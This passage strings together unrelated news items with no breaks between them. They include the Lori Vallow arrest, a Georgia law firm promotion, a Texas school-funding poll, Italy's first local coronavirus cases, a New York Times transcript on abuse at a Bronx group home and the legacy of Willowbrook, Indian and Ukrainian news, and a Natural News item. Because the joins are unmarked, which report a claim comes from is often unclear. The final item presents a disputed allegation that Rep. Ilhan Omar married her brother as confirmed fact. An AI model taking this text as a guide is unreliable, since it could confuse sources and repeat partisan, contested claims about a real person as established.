Arizona. The friend later told detectives that she had been contacted by Vallow and Daybell at separate times and asked to falsely tell police she had JJ, according to the affidavit. Authorities returned to Vallow's home the next day and both she and Daybell were gone. PHOTO: Kay and Larry Woodcock speak to members of the media in Rexburg, Idaho, Jan. 7, 2020 about the reward they are offering for information that leads to the recovery of Joshua Vallow and Tylee Ryan, who were last seen in September 2019. (The Idaho Post-Register via AP, FILE) During the course of the investigation, numerous details led authorities to believe that she'd deserted her children. Authorities said JJ's prescription to manage his autism had not been filled since Vallow moved to Idaho in September 2019, that she hired a babysitter for JJ only to tell her days later her services were no longer needed, and that Vallow has been living in Hawaii since December without the children. The affidavit also states that police have found "no evidence or verification of anyone providing for the housing, food, clothing, education, or medical care" for the children since September. In addition to the felonies, Vallow also faces misdemeanor charges of resisting and obstructing an officer, solicitation of a crime and contempt. The maximum sentence on each count of desertion of a child under Idaho law is 14 years in prison, according to Madison County prosecuting attorney Rob Wood. ABC News' John Capell, Jim Vojtech and MaryEllen Resendez contributed to this report. Mom of missing Idaho kids arrested in Hawaii, held on $5 million bail originally appeared on abcnews.go.com Bill Stemberger & Scott Cummins Our job is to help them produce a positive result and we bring a passion to doing so each and every day. Bill Stemberger and Scott Cummins were recently honored by Super Lawyers Magazine, a Thomson Reuters publication, for the seventh straight year. Recognition by Super Lawyers is reserved for the top 5% of attorneys in the state based on upon a patented selection process which includes the voting of other attorneys as well as independent research conducted by the Thomson Reuters editorial team. Both Stemberger and Cummins have practiced law for more than thirty years, most of which have been spent in Coweta County, Georgia. They attribute their success inside and outside the courtroom to extensive experience and a strong commitment to understanding and achieving their clients goals. While many clients come to us with the same overall concerns and objectives, each one also has very specific things they want to accomplish via the legal process, said Cummins. Our job is to help them produce a positive result and we bring a passion to doing so each and every day. Stemberger agrees with his partners assessment and believes its the shared commitment to clients that has also made their partnership a success since 2001. I think what helps Scott and I do well for our clients is that we both refuse to be outworked by the other side, said Stemberger. Our philosophy is that we are going to do whatever is necessary within the law to produce a fair and just result for those who trust us with their legal representation. Stemberger and Cummins are no strangers to recognition for excellence in the practice of law. Both are AV Rated by Martindale-Hubbell, hold 10.0 ratings from Avvo, and have been included in Georgia Trend magazines annual list of Legal Elite lawyers. About Stemberger & Cummins, P.C.: The lawyers and support staff at S & C bring decades of experience to each clients case. The firm represents individuals and families in car, truck, and motorcycle accident cases, as well as those facing felony and misdemeanor charges. Based in Newnan, Georgia, their private and comfortable law office is convenient for clients with legal matters in Atlanta, as well as cities southwest of the metro area, such as LaGrange, Palmetto, Peachtree City, and Carrollton. Presidente @MartinVizcarraC: Nuestra responsabilidad como Gobierno es generar mejores condiciones para que puedan cumplir su mision. El Estado tiene la obligacion de retribuir a quienes dedicaron anos de servicio en favor de los intereses del pais. pic.twitter.com/byXCARra2q AUSTIN Texans are so worried about funding for education and low pay for teachers that 6 in 10 people said they are willing to support higher taxes to better fund local schools, a poll recently released by the advocacy group Raise Your Hand Texas shows. Teacher pay is too low, according to 70 percent of the respondents who participated in the inaugural statewide poll of Texans attitudes toward public education. About 62 percent prefer a political candidate who supporters higher school funding over a candidate who wants to reduce or hold funding steady. And perhaps surprisingly for this traditionally tax-averse state, 62 percent say they would support raising taxes to try to improve the public schools in their community although just 15 percent offer strong support, the report said. Texas Take: Get political headlines from across the state sent directly to your inbox About 48 percent of respondents said they somewhat support raising taxes, compared with 23 percent who somewhat oppose raising taxes and 15 percent who strongly oppose it. Texas lawmakers have been reluctant to raise taxes but will return to Austin for the 2021 legislative session likely having to consider how to continue covering the growing costs in education, health care and other services, along with a $13 billion influx of education money approved in 2020. The poll of the general public did not ask what kind of taxes Texans would be willing to pay, though schools in Texas are funded largely with property tax revenue. For subscribers: Texas teachers embrace $11.5B windfall for education. But will it last? The poll of 1,161 Texas adults conducted in late November and early December found respondents said a lack of money or financial support for public schools is the top issue facing their local public schools, followed by bullying and a lack of discipline and childrens behavior. The poll included an oversampling of K-12 school parents and has a 3.6-percentage point margin of error. The poll is modeled after the national PDK Poll of the Publics Attitudes Toward the Public Schools. The survey found 77 percent of Texans expressed trust and confidence in their teachers well above the 61 percent of people surveyed nationwide. In Texas, 70 percent of respondents said the salaries for teachers in their community are too low, compared with 66 percent nationally. Texas ranks 27th in the country for teacher pay, with the average teacher making $54,155 in the 2018-19 school year. The average salary nationally that year was $61,782, according to the National Education Association. andrea.zelinski@chron.com Foreign Minister of Ukraine Vadym Prystaiko and United Nations Secretary-General Antonio Guterres discussed the ways to strengthen cooperation between Ukraine and the UN. The Foreign Minister, in particular, underscored the significant role of the UN in providing humanitarian assistance to Ukrainian civilians affected by the Russian aggression, as well as supporting the Government of Ukraine's efforts to implement reforms and achieve the Sustainable Development Goals, the website of the Ministry of Foreign Affairs of Ukraine reports. "I am convinced that the world organization can play an active role in other areas of settlement of Russia-Ukraine conflict, in particular in the context of the possible deployment of a peacekeeping operation, as well as in the reconstruction and reintegration of the affected regions of Ukraine," Prystaiko emphasized. For his part, Guterres reaffirmed his commitment to the UN resolutions on respect for Ukraine's sovereignty and territorial integrity within its internationally recognized borders and assured its continued willingness to provide practical assistance to Ukrainians in these difficult times. ol By Elisa Anzolin and Angelo Amante MILAN (Reuters) - Six people have tested positive in Italy for coronavirus, the northern Lombardy region said on Friday, in the first known cases of local transmission of the potentially deadly illness in the country. Officials told residents from three small towns some 60 km (40 miles) southeast of Italy's financial capital Milan, to stay at home as doctors tested hundreds of people who might have come into contact with the six coronavirus sufferers. None of the six were believed to have visited China, which is the epicentre of the virus, but the first infected patient, a 38-year-old man now in intensive care, fell ill after meeting a friend who had recently been to China. That man has since tested negative to the contagious disease, but doctors were investigating whether he carried the virus and subsequently recovered without showing any symptoms, said regional councillor Giulio Gallera. The pregnant wife of the initial patient and one of his friends were also infected, along with three other people who were admitted to hospital overnight suffering from pneumonia-like symptoms. "We have called on the residents of Codogno, Castiglione d'Adda and Casalpusterlengo to stay at home as a precaution," Gallera told a news conference. Prime Minister Giuseppe Conte said there was compulsory quarantine in place for all who have been in contact with the infected patients, as local authorities continued to track down everyone they had come into contact with. "Most of the contacts of those who tested positive for coronavirus have been identified and subjected to the necessary tests and measures," the region said in a statement. Prior to Friday, just three people had been confirmed in Italy to have the virus which emerged in the Chinese city of Wuhan late last year. Two Chinese tourists who came from Wuhan tested positive in Rome in late January, while an Italian who returned from the Chinese city with a special flight repatriating some 56 nationals was hospitalized a week later. China has had more than 75,400 cases of the coronavirus and 2,236 people have died, most in Hubei province and its capital Wuhan. (Angelo Amante reported from Rome; Additional reporting by Francesco Guarascio in Brussels and Elvira Pollina in Milan; Editing by Crispian Balmer and Christina Fincher) Prime Minister Narendra Modi has asked members of the newly constituted trust to ensure that construction work on the temple is conducted harmoniously and without any bitterness, the trust's general secretary Champat Rai said on Friday. President of the Shri Ram Janmabhoomi Teertha Kshetra Nritya Gopal Das and three other members called on the prime minister at his residence here on Thursday and invited him to visit for the 'bhoomi pujan', or ground-breaking ceremony. A date for the ceremony is yet to be finalised. "Prime Minister Narendra Modiji suggested it should be ensured that work for temple construction should be conducted peacefully without creating any disharmony or bitterness," Rai told reporters a day after the meeting. Describing it as a courtesy meeting, Rai said the prime minister also said nothing should be done to disturb the atmosphere of the country. The four members who met Modi were Das, Rai, K Parasaran and Swami Govind Giri Maharaj. Das, who heads the Ram Janmabhoomi Nyas, was elected as president of the new trust at its first meeting on February 19. Rai was chosen as general secretary. The 15-member trust was constituted by the Modi government after the Supreme Court's landmark verdict on November 9 in the Ram Janmabhoomi-Babri Masjid case which settled the long-festering religious issue and allowed the building of a temple at the disputed site where many Hindus believe Lord Ram was born. Announcement of the formation of the trust was made by Modi in the Lok Sabha. The Vishwa Hindu Parishad is also working on celebrations for a 'RamoUtsav', in the run-up to Ram Navami, from March 25 till April 8. VHP workers will reach out to all 2.75 lakh villages which had contributed for the Ram Janmabhoomi movement, the organisation's members said. Kannywood actor, Sani Sadiq, has revealed that he will not stop dancing in Hausa movies until when he gets old and cannot dance again. Sadiq said this in an interview with BBC Hausa on Wednesday. Sadiq said he will not stop dancing in Hausa films not anytime soon because I love doing it and even when I get old I will shake my legs. Sadiq is among few Kannywood actors that have made impact in the Hausa film industry. He is seen as very skilful and among the few that can fit into any role given to them in a movie. He is also celebrated for his classic dance skills although second to Adam Zango who does not only dance but owns a musical record company, WhiteHouse Records. Sadiq was outstanding in Hausa film big-budget movies including Dan Marayan Zaki, Ali Ya ga Ali, Hanyar Kano, Wani Gari, Mati da Lado, and trending movie, Mati A Zazzau, where he played the lead role. I think as far as I remain an actor in Kannywood, I will dance even when I get old. That is my resolve, he said. Sadiq, who is married, also said he does not intend to take another wife. I love my wife and it is her and only her now. I have friends and some of them are in the Kannywood, he said. When asked who is his best friend, the actor said Rahama Sadau. Rahama Sadau is very special to me, she is a courageous person, trustworthy and keeps to promise, he said. She is somebody you can trust any time any day. Also describing what upsets him, the actor said gossip irritates him. I hate it when you talk about someone or people with me, it irritates me. I hate it. Open source All responsible Ukrainian services involved in the evacuation of citizens from China did their job well. Oleksiy Honcharuk, the Prime Minister of Ukraine said so at a briefing next to the medical center in Novi Sanzhary, Poltava region, central Ukraine. He claimed that the operation was unprecedented in the history of Ukraine, "because, in fact, such measures were organized for the first time". Of course, it's impossible to foresee all the options, but I'm sure that under current circumstances, all services did a good job", Honcharuk said. The Premier added that all citizens are safe, and the quarantine-related work continues. [tense music]LAURA: I had come home on a Friday afternoon. I receive this envelope in the mail... And theres no return address on it or anything. It was September 12th, a day that I will never forget. Dear, Ms. Kearins, the workplace is not a safe environment. They are being severely abused by the day staff. Do what you have to do to help your sister. My worst nightmares... Were confirmed. [solemn music] [melancholy music]BEN: In late 2018, I heard about a lawsuit, a civil rights lawsuit that had been filed in the federal courthouse in Manhattan, which I cover. The lawsuit alleged that at a group homeon Union Avenue in the Bronx,physical abuse and neglect of the residents was rampant. The home was a place for about 24 people with developmental disabilities. Many could not speak. Many had the minds of children but were in their 50s and 60s. You know, this was clearly a highly vulnerable segmentof our population, and the idea that there was abuse going on and other forms of mistreatment, you know, was troubling. But as I began my reporting and began to dig deeper,I realized there was a much darker historyto this case and what came before, and it made me think, you know, was history repeating itself again? [tense music] In the early stages of my reporting,I interviewed a woman who lives in the Bronxwhose sister, whoand we only referred to by initials D.K. has been living at the Union Avenue home for many years. One thing you realize is that most people dont have contactwith this community of people who have such disabilities. Hello, there. - How are you, Ben? BEN: How are you? And so it was very interesting to listen to families talk about them and how important they are in that family and really how important they are in society. LAURA: Im five years older than my sister. She was approximately 18 months old when she became ill... BEN: Yeah. - With seizures. She would come out of one and go into one,and that was just, like, constantforfor six weeks straight, which of course damaged her brain. I remember my mother picking her up and just screaming,My child is dying. My child is dying. BEN: And what did doctors tell your parents at the time? - That, you know, she would just be mentally retarded. She would never be normal. BEN: Hmm. - She would never be a normal child. - How old was she when she was finally placed at Union Avenue? LAURA: She would have been about 20. BEN: She has therefore been there three decades, 30 years - 25 years. We would go there on weekends.She would still come home on weekends,and we did think it was a good fit. Shes just a child in an adult body, you know, and a very lovable one, a very lovable one. [solemn music]BEN: Laura had seen bruiseson her sister at Union Avenue.She was terrified of what that might mean.You know, it could have been accidental,but she had nobody that she knew who could actually tell her what was happening. And then in the fall or the late summer of 2014,she received an anonymous letter.It was clearly by somebody who worked in the group home.LAURA: Dear Ms. Kearins,enclosed this envelope, you will find a letter,and the people who is mentioned are stillabusing your sister... pulls your sisters hair and spits in her face, gave her the bruise that was under her eye. They also denies her food. Do what you have to do to help your sister. Im afraid of what might happen to me and the good staff. Just started crying, just crying hysterically, and II wanted so badly to call my father. But the next day was his birthday, and I didnt want to upset him. I just wanted to get somebody... you know, andand... Physically harm somebody for hurting my baby sister. BEN: The allegations from this whistleblower were that more than a dozen of the residents of the group home had been victims of abuse. A letter was sent to Laura and two other familiesand also to a New York state official, and it got the ball rolling. REPORTER: A growing scandal at a group homefor mentally challenged adults in the Bronx...REPORTER: Gruesome, disturbing, and inhumane...REPORTER: The Bronx DA is now investigating,and there could be criminal charges. BEN: New York state begins an investigation around that time,and then the families filed that civil rights lawsuitin the federal court in Manhattan.[pensive music] So by the time a civil lawsuit was filedon behalf of three residents,there was a pretty good collection of evidence.I read pages of interviews detailing that abuse was pervasive.Witness statements about people hitting people, slapping people.As I continued reading the documents, I began to see references to abuse of people that went beyond the three who had filed the lawsuit. And a particular one set of initials I kept seeingwere not gonna use her full name.Ill refer to her as M.Over and over, I would see references to herbeing seen with bruises on her body.This particular womanseemed to have been really brutalized,far more than anyone else I was seeing, and I really wanted to learn more about her. So after a lot of research and digging,I finally did find two sistersof M in New York City. - I took a trip to Union. They show me the whole place, thatthe people that work there, you know, and I wasit looked okay. BEN: Howd you feel? - I felt comfortable, a little worried, but, you know, but comfortable, cause I couldnt I was working. I cant take care of her. BEN: In 2014, when there were some news stories about problems at the Union Avenue, do you remember reading or hearing anything about that on TV? SANDRA: Yes, II remember, because I started receiving, from the justice system, papers saying that there were some problems in Union Avenue that has been, you know, some abuse with some of the... BEN: Right. - People there. I went there, but they say, No problem with M. BEN: Meaning she was not a victim? - Uh-huh. BEN: Okay. - She was not a victim. BEN: Okay. [somber music]Some state records Ive seen indicatethat the state did alert Sandrato what was going on in Union Avenue to M. The sisters, though, seemed genuinely surprised when I brought them the allegations that I had learned about in my reporting. These are copies of the questions and answers when the justice center interviewed employees at Union Avenue. So...the questions is, M would have bruises on her breast, on her stomach, on her buttocks. Have you ever discovered them? This has been years. At one time, she, meaning M, used to have big, purple bruises here in the stomach... Looked like a big, purple blotch. And then the questioner says some people that theyve already talked to have described it as a foot mark, like somebody had stepped on her or kicked her. - Mm. - Whats it makes you feel like when youre seeing these allegations? HILDA: I feel like going over there to the group home and beating everybody to see how it feels. It makes me angry. BEN: Yeah. - And you know, youre supposed to be taking care of my sister, and look at whats happening. Why are they beating why is this happening?They dont know how to speak for themself,how to protect themself,andand I wanna make sure that they get the servicethat they were promised after they came out of Willowbrook. - Willowbrook. I knew that word. I-I-I remember Willowbrook. It was a notorious institution from the 1970s. As I was reading the depositions,I kept seeing Willowbrook...and references to the Willowbrook class.Finally, it was like a hammer on the head.I finally realized some of thosewho had been at Willowbrookhad been abused at Union Avenue, and that stopped me in my tracks. [dramatic music]GERALDO: What we found and documented hereis a disgrace to all of us.This place isnt a school.Its a dark corner where we throw childrenwho arent pretty to look at. The doctor had warned me that it would be bad. It was horrible. [dramatic music] - In spite of the dramatic discoveries in medicine, the number of mentally retarded is increasing. Every year, 126,000 children are born who areor who will become retarded. - Throughout the 50s and 60s and 70s and even into the 80s, New York state warehoused thousands of developmentally disabled back then, it was called profoundly retarded children, babies, and adults.REPORTER: Modern medical skills are helpingmore mentally retarded infants survive,but the institutions will still have a large jobin keeping the severe and profound comfortable.BEN: Id been told by familiesthat it was something done out of desperation. In many cases, doctors didnt have any real solution. At the age of eight, M was placedat an institution in New York called Willowbrook.SANDRA: My mother, even though she washad a little doubt,she said, Okay, you know, its better to go to Willowbrook.Gonna be much better, this place, wont get hurt. A lot of promises. [uneasy music]BEN: A year after M was placed at Willowbrook,in 1965, Robert Kennedy, then a New York senator, visited Willowbrook. - I visited the state institutions for the mentally retarded, and I think atparticularly at Willowbrook, that we have a situation that borders on aa snake pit. BEN: Willowbrook, at its most crowded time,it had roughly 6,000 people on these wards,very short-staffed,two to three people dying every week.There were so many people at Willowbrookthat it, you know, barely was noticed.And all through this period of time, M was there, for 16 years, from 1964 to 1980. [desolate music]I learned in my reportingas many as a third of the residentsat Union Avenue had been at Willowbrook,I believe six or seven at one point.Even Lauras sister had been at Willowbrookand then taken out within a very short period of time,as soon as her parents discovered the conditions there. LAURA: The first thing I remI remember walking in the door is the smell. I justI can never get rid of thatthat in my head, the smell. Um, my sister was in, like, one of these crib cages. It was just the kind of place that you wanted to get out ofas quickly as you possibly could. NAVIGATION VOICE: Continue on I-278 East for two miles.BEN: So among the interviews I also set out to do was to try to find people who had worked at Willowbrook. There were a couple doctorswho played very important roles helping to organize parents to try to protest the conditions at Willowbrook in the 60s and 70s. MIKE: These buildings, as I recall, were at the very end of Willowbrook. BEN: One of those doctors, named Mike Wilkins,played a pretty important role in helping expose Willowbrook to the world. - It went from being a warehouse where there was no programming to being, like, the clear-cut abuse and neglect, not enough people to clean them and feed them and dress them, kids running around naked, and still admitting people. [tense music]I got fired for continuing to work with the parents.I emptied my office, and I went home. And I realized when I got home, I had my key in my pocket. I said, Wow. I woke up the next day, and I had made up my mind that I was gonna just call em. I said, What the hell? - I first heard of this big place with the pretty-sounding name because of a call I received from a member of the Willowbrook staff, a Dr. Michael Wilkins. The doctor had warned me that it would be bad. It was horrible. [grave music] There was one attendant for perhaps50 severely and profoundly retarded children.Children lying on the floor,naked and smeared with their own feces.They were making a pitiful sound,a kind of mournful wailthat its impossible for me to forget.[muffled yelping] BEN: The Geraldo Rivera piece aired in January of 1972,and it became a very important period of time.REPORTER: More than 5,000 patients are crowded into 30 buildings.[dramatic music]MAN: I want something done. Now, if the state cant do anything, Im asking the federal government to do something. GERALDO: How is it living on the ward that you live? - Disgrace. - Its a disgrace? - Yes. BEN: Within just months,the New York Civil Liberties Unionand the New York Legal Aid Societyeach filed class-action lawsuits.There was a trial and court hearings.It took more than a decade, but Willowbrook was closed,and many of its residents were moved across the state into group homeslike the one on Union Avenue in the Bronx.MIKE: Thats the big legacy of everything that happened,because it made change happenfor a lot of people in a lot of states. And thus, you have to eduempty out not only Willowbrook but all the other institutions for the developmentally disabled in New York state, which was 22 over 22,000 people. BEN: The people who were at Willowbrook at the time,whove become known as the Willowbrook class,numbered close to 6,000.And the court orders make clear that they havethe constitutional right to protection from harm and the right to high-quality services for the rest of their lives. There are still about 2,200 of them still alive,mostly living in group homes around New York state.Just in the last year alone, there have been hundreds of examples of reported cases of physical abuse, neglect, and other mistreatment just of members of the Willowbrook class. In some respects, they just stand forthousands more people who were never at Willowbrook,who all deserve protection from harm also.They had special protections,andand they raised the bar for everybody, but it hasnt been met. [tense music] BEN: When the courts ordered that Willowbrookultimately be closed and the people all be movedinto group homes, much smaller residencesaround New York state, the dream had been that this would help those people. And so when Im discovering that there are peopleat Union Avenue now who had been at Willowbrookand who were in the midst of being abused and neglected, needless to say that that was troubling. The lawyer I met with to talk aboutthe original lawsuit against Union Avenue...[elevator beeps] VOICEOVER P.A.: Tenth floor.BEN: Is named Ilann Maazel.ILANN: One of the most appalling things about this case is the scope of the abuse. How could so many people commit so much abuse for so many years where not a single person came forward and did anything about it? BEN: Ilann used sworn interviewsto investigate and try to get as much evidence as he couldto help build a case that was gonna go to trial.What was your take of the attitudeof the staff members who were deposed,those who were actually accused of abuse?ILANN: Unapologetic, defiant. Lets just say I didnt believe everything that they said in their sworn testimony. BEN: By this time, the state had conductedits own investigationand conducted scores of interviewsof employees and other witnesses at Union Avenue.ILANN: They substantiated over 30 allegationsof abuse and neglect,punching of eyes and pulling of hair.I dont think Ive actually ever seenso many substantiated findings of abuse in a single home.None of them was terminated. Many of them today are working in other group homes in the Bronx where they are supposedly taking care of people with disabilities. BEN: How do you feel about that?LAURA: Angry, very angry,because that was the purpose of filing the lawsuit, to see these people fired, um, that they would never, ever be able to work again with our population of individuals or the elderly or children. Um...yeah, very angry. Very, very angry. BEN: Hi. Is Patrice there, please? Its Ben Weiser at The New York Times. Even after the state concluded its investigation and substantiated the allegations of abuse and neglect, not a single one of the staff members could be dismissed.The state tried to fire them, but failed.This was a pattern that we found statewide. We are gonna focus on the cases we wrote about at Union Avenue. The workers areare represented by a strong union, and the process of arbitration is the result. It allows for an independent arbitratorto rule on the disciplinethat the state is trying to mete out.And in this case, the arbitrators feltthat there was not justification to fire the people that the state was trying to fire. The justice center did substantiate allegations of abuse against 13 of the employees abuse or neglect against 13 employees. Why would none be fired? - So the problem is with the evidence. Its the evidence that the state presented... BEN: Yeah. DENISE: And the arbitrator rules by with the evidence thats in front, with testimonies, with cases. So ifif all the evidence is presented and the arbitrator says, I do not feel that they should be terminated, I have to respect that. BEN: Right. DENISE: Its a fair process. Sometimes we like what the arbitrator says, sometimes we dont, but its a fair process. We never condone abuse... never, no way, no how. Never. And like I keep on saying, overwhelmingly, the staff, good workers. - Yeah, but as a worker who doesnt condone abuse, doesnt it worry you at all concern you at all that these workers were then sent to other places in the system? Or do you feel theyve, in effect, been exonerated by the system? DENISE: Im not speaking about exoneration. - Okay. - Im speaking about respect for the arbitrators decision. BEN: Uh-huh. - And we have to have that also. [tense music]BEN: One of the questions I had was not only,Why didnt people get fired, but I wanted to know,why didnt people get charged? We were told at the time that the justice center had worked with the district attorney in the Bronx and had investigated the case. DARCEL: Whats so difficult about cases like these is that youre talking about victims who most of the time are incapacitated. So unless you have an eyewitness whos gonna come forward, its very, very difficult to, um, prosecute. - I mean, when you say there were no witnesses, what does that mean, since there seemed to have been a few, including the whistleblower? - There werent any that were willing to come forward in order to help us present a case. BEN: How interesting. DARCEL: So without, you know, that cooperation, were not able to do it. - There was no doubt in your mind there had things had occurred to people in that building. The question was, what could you prove? - Right, exactly. Its not whether or not it happened. Its what could we prove? BEN: The agency that oversees the thousands of group homes in New York state, the OPWDD, which stands for the Office for People with Developmental Disabilities, would not give us a sit-down interview to respond to the questions we had, but they told me in emails, abuse of any of the peoplein their care is unacceptableand that they believe they have in placesystems to detect abuse and to respond to it.In late 2019, the state finally settledthe Union Avenue lawsuit for $6 million for the three families. There was no admissions of wrongdoingby any of the staff.Ultimately, two of the employeeshad those findings reversed on appeal. - But there needs to be a serious top-to-down review of treatment of people with disabilities in New York state group homes. Its the states obligationwhen they take people into these homesto take care of them and to protect them. And they have to do that. [ambient noise] [melancholy music]BEN: One of the interesting aspectsof the story of the woman M was thatafter she was transferred out of Willowbrook in 1980,she went home.And M lived there for 25 years and was loved and was part of the family. And when her mother died suddenly in 2004...Sadly, none of her siblings could take her in,and thats when they realizedthey would have to place her in a group home, and the group home that became convenient and the best place, it seemed, was Union Avenue in the Bronx. When youve visited in the last four or five years I know its not been frequently, but whenever you come, is she pretty much the same as she is now? I mean, has she changed much over the years, that you remember? No. - No. This isthis is one of the ones shessince shes been in the group home, this is how shes been. Its a bit different when she was staying with my mother. BEN: With your mom. HILDA: I dont think shes happy where shes at. Like, when I was taking her back, last week, inside, she was thinking about it, and she was, like, backing up. But then at the same time, she was thinking, like, Wait a second. Do I have a choice? This is my home. BEN: You know, one thing that I have feltin reporting this story, its a reminder to mehow the courts sort of operate in snapshots of time.I think most people, including myself, hadalthough I knew about Willowbrook,I hadnt thought about it very muchin recent years at all. And I think most of us, ifif weve even heard of it, had forgotten about it. [birds chirping] [indistinct chatter] Its a reminder that, especially when youre lookingat institutions, you cant stop looking.You have to keep watching, and you have to keep wonderingabout the people that they affect, particularly for this group of people who themselves are not part of the conversation. [indistinct chatter] [poignant music] Chandigarh, Feb 21 : The Punjab government on Friday announced to make it mandatory for all government and semi-government institutions, boards and corporations to write signboards in Gurmukhi script. Besides, road milestones would also be written in Gurmukhi. The Punjab Languages Department has sent a letter to all the concerned in this regard. Punjab Higher Education and Languages Minister Tript Rajinder Singh Bajwa said a decision in this regard was taken to commemorate the 550th birth anniversary of the first Sikh master, Guru Nanak Dev. As per the order, the signboards would be written at top in Punjabi and if the need arises to write in any other language it would be written below in smaller font. The Minister said that to implement this decision in the private business, industrial and educational institutes, the Languages Department has written to the Labour Department to issue a separate notification in this regard. Actor Ayushmann Khurrana is set to team up with his Article 15 director Anubhav Sinha yet again. According to Rajeev Masands column in Open magazine, Ayushmann has given his nod to the filmmakers highly political drama titled Anek, which is scheduled to go on floors in April. Their first collaboration, Article 15, also had political overtones. The critically-acclaimed film, which shone a light on the caste apartheid in the country, featured Ayushmann as a police officer investigating the rape and murder of two girls in rural Uttar Pradesh. In an earlier interview with IANS, Anubhav called Ayushmann and Taapsee Pannu his favourite actors. I am making a film with Taapsee next. We will start shooting next month. I have to mention that Taapsee and Ayushmann are my favourite actors -- or stars, whatever you call them. I love them. Our thought processes are in sync with one another, he said. Also read | Deepika Padukone, Ranveer Singh were asked to play Ranbir Kapoors parents in Brahmastra: report Currently, Ayushmann is busy promoting Shubh Mangal Zyada Saavdhan, which has just hit the theatres. The film, which is a same-sex love story, sees Ayushmann as a gay man fighting to gain acceptance from the homophobic family of his boyfriend, played by Jitendra Kumar. The film also stars Neena Gupta, Gajraj Rao and Maanvi Gagroo in pivotal roles. Anubhav, meanwhile, is gearing up for the release of Thappad. The film stars Taapsee in the lead role and revolves around a womans decision to walk out of her marriage after her husband slaps her at a party in the heat of the moment. Post Shubh Mangal Zyada Saavdhan, Ayushmann will be seen in Shoojit Sircars Gulabo Sitabo alongside Amitabh Bachchan. Gulabo Sitabo -- a legendary pair of puppet sisters -- have been part of Uttar Pradesh folklore. IANS reports that the film, a comedy, is a take-off on these two characters. Gulabo Sitabo, which was originally supposed to release on February 28, will hit the theatres on April 17. Follow @htshowbiz for more Public consultations on expanding production at the Gevra opencast mine of Coal India Limited (CIL) in Chhattisgarhs Korba district were given a miss by local residents and environmental groups. It wasnt because they had nothing to say about the proposed increase of production from 45 million tonnes to 49 million tonnes. The villagers and environmentalists, in fact, never saw the public notice seeking feedback from stakeholders who would be most affected by the project, activists working with the local community said. The expert appraisal committee (EAC) of the ministry of environment, forest and climate change (MoEFCC), considering the expansion proposal last June, recommended that the Chhattisgarh Environment Conservation Board (CECB) issue a public notice seeking feedback from the local community and redress any grievances they had. The villagers approached Janabhivyakti, a Chhattisgarh-based non-governmental organisation, which filed two right to information (RTI) pleas with the CECB asking if a public notice had indeed been issued and comments been received from the local community. Residents of Raliya village tried approaching the CECB to check on the public consultation exercise but didnt receive any information. They requested Janabhivyaktis programme offer, Bipasha Paul, of to file an RTI on the consultation dates so that they had an opportunity to raise environmental issues at the consultations. In both the replies,on October 18, 2019 and January 3, 2020, copies of which are in possession with HT, the CECB said this information was not available. On January 6, 2020, South Eastern Coalfields Limited (SECL), one of the subsidiaries of state-owned CIL, submitted a compliance report with the EAC, stating that advertisements had been placed in both national and state newspapers on December 5, 2019, informing the public of the proposal to increase production at the Gevra mine. We dont know why the RTIs said in January that it had no information when the advertisements were placed in December. The villagers submitted their comments to the CECB on January 7, 2020, but they were not considered as the officials maintained that the last date for submission had lapsed. The villagers grievances regarding key issues such as transportation, increase in load of road transport leading to air pollution from coal dust, spike in traffic, accidents,resettlement and employment have been glossed over, said Paul. RP Shinde, regional officer of CECB, had this to say: Perhaps, the RTIs didnt provide the information because the public notice was already issued and the last date for submission had lapsed. Besides, we did not receive any comments within the stipulated time of one month from the time the advertisements were placed. Advertisements, however, were not placed in local newspapers. A senior SECL official said the CECB followed the norms in publishing the advertisements. We dont know why the villagers didnt respond, the official said. The EAC considered the proposal for the Gevra projects expansion on June 25, 2019 , when the panel noted that it had been granted green clearance on June 3, 2009 to increase production from 25 to 35 million tonnes per annum based on a public hearing conducted on August 22, 2008. The project was allowed to expand further to 45 million tonnes but public hearing was exempted as per the 2006 environment impact-assessment notification and subsequent amendments made to it. The rule stipulates that all projects located within industrial estates approved by the authorities are exempted from public hearing. If notices for public consultations or hearings are held back, under-publicised or hidden, it directly impacts the quality of public participation. It is not enough that a notice is published, but it needs to be ensured that it is received and understood by those whose life it is most relevant to, said Kanchi Kohli, a legal researcher at the Centre for Policy Research. (Natural News) Reports have circulated for months now that Rep. Ilhan Omar (D-Minn.) actually wed her brother so she could smuggle him into the United States from their native Somalia. And for months the congresswoman and her people have denied those reports. But come to find out, according to the UK Daily Mail Thursday, it appears as though the initial investigative report by David Steinberg at PJ Media in August 2018 was spot-on. He wrote: Minnesota state Rep. Ilhan Omar (D-60B) is the presumed frontrunner for the MN-5 House seat being vacated by Rep. Keith Ellison (D). The seat is safely Democratic; Hollywood progressives, local party officials, and Minnesota media have all but scheduled the August 14 primary as her coronation. Their enthusiasm is rooted in Omars identity: she is a photogenic, hijab-wearing Muslim who entered the United States as a Somali child refugee. Likely because of this, however, Omars media and party supporters have been aggressively uninterested in a disturbing allegation about Omar with legal ramifications: that in 2009, she seems to have married her brother. That allegation has been public for nearly two years without Omar addressing its specific foundations. Steinbergs exhaustive research included documents and other pieces of evidence from official sources and social media, all of which has now been confirmed, according to the Daily Mail. According to the British publication, Omar told friends some years ago that her first husband was indeed her brother, Ahmed Elmi, which scandalized the Minneapolis Somali community, whistleblower Abdihakim Osman says. In an interview, Osman the first person to go on the record to reveal the details said the reason behind Omars sham wedding was to get her brother into the U.S. so he could stay. Whats more, at the time she was already married to her first husband, Ahmed Hirsi; her brother, then, would become Husband No. 2. No one knew there had been a wedding until the media turned up the marriage certificate years later, Osman, 40, told the Daily Mail. People began noticing No doubt these new revelations are going to lead to new calls for an investigation into the veracity of the claims, especially since the freshman Democrat has repeatedly refused to answer questions about Elmi. Initially, she called the allegations baseless, absurd rumors, then naturally accused the few journalists who did ask questions of Islamophobia. And she has been able to hide the truth for some time because she left her war-torn homeland at a time when the government had failed and paperwork proving who she and her brother were went missing. The paper notes that Omar married her first husband, Hirsi, in a Muslim ceremony in 2002; like many in the immigrant community, that ceremony was not registered with the state of Minnesota. They would subsequently have two children. In the late 2000s, however, Elmi appeared in Minneapolis according to Osman, who referred to Hirsi as Southside his nickname in the interview with the Daily Mail. People began noticing that Ilhan and Southside were often with a very effeminate young guy, said Osman through an interpreter. [Hirsi] and Ilhan both told me it was Ilhans brother and he had been living in London but he was mixing with what were seen as bad influences that the family did not like. So they sent him to Minneapolis as rehab, he continued. He further explained that Omar kept her marriage to Elmi quiet from the rest of the Somali community. Last month, the New York Post reported that the FBI was investigating, meeting with a source in Minneapolis who turned over a trove of documents. Any findings were to be shared with Immigration and Customs Enforcement and the US Department of Education, the paper reported. Anyone found guilty of committing marriage fraud faces up to five years in jail and a fine of up to $250,000, the Daily 